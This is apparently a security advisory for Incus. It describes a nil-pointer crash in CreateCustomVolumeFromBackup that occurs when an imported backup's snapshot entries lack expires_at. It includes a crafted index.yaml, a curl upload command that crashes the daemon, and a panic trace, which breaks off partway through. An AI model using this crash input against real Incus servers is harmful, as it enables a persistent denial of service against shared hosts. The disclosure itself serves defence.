Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)
Summary
(*backend).CreateCustomVolumeFromBackup in [internal/server/storage/backend.go](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go) contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.
This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.
Vulnerable code
[internal/server/storage/backend.go](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go), CreateCustomVolumeFromBackup:
```go
// Line 7710-7714 — the parent fix from GHSA-r7w7
for _, s := range srcBackup.Config.VolumeSnapshots {
if s == nil {
return errors.New("Bad snapshot definition found in index")
}
snapshot := s
snapName := snapshot.Name
// ...
// Line 7731 — UNGUARDED *time.Time deref:
err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
*snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML
snapVol.ContentType(), true, true)
```
ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:
| Line | Code | Guarded? |
|------|------|----------|
| 909-910 | CreateInstanceFromBackup | YES |
| 1134-1135 | refresh path | YES |
| 1422-1423 | migration path | YES |
| 7731 | CreateCustomVolumeFromBackup | NO |
Reach
1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.
2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.
3. Body is a tar containing [backup/index.yaml](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml) with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).
4. cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.
5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.
Minimal [backup/index.yaml](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml):
```yaml
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
volume_snapshots:
description: snap0
config: {}
# expires_at intentionally omitted
```
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.
Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.
```bash
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
--data-binary @/tmp/poc-vol.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-Incus-name: poc-vol' \
http://incus/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep incusd | grep -v grep # process is GONE
```
Daemon panic from /tmp/incus.out:
```
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]
goroutine 422 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
/build/incus/internal/server/storage/backend.go:7731 +0xb48
main.createStoragePoolVolumeFromBackup.func7(...)
/build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
/build/incu
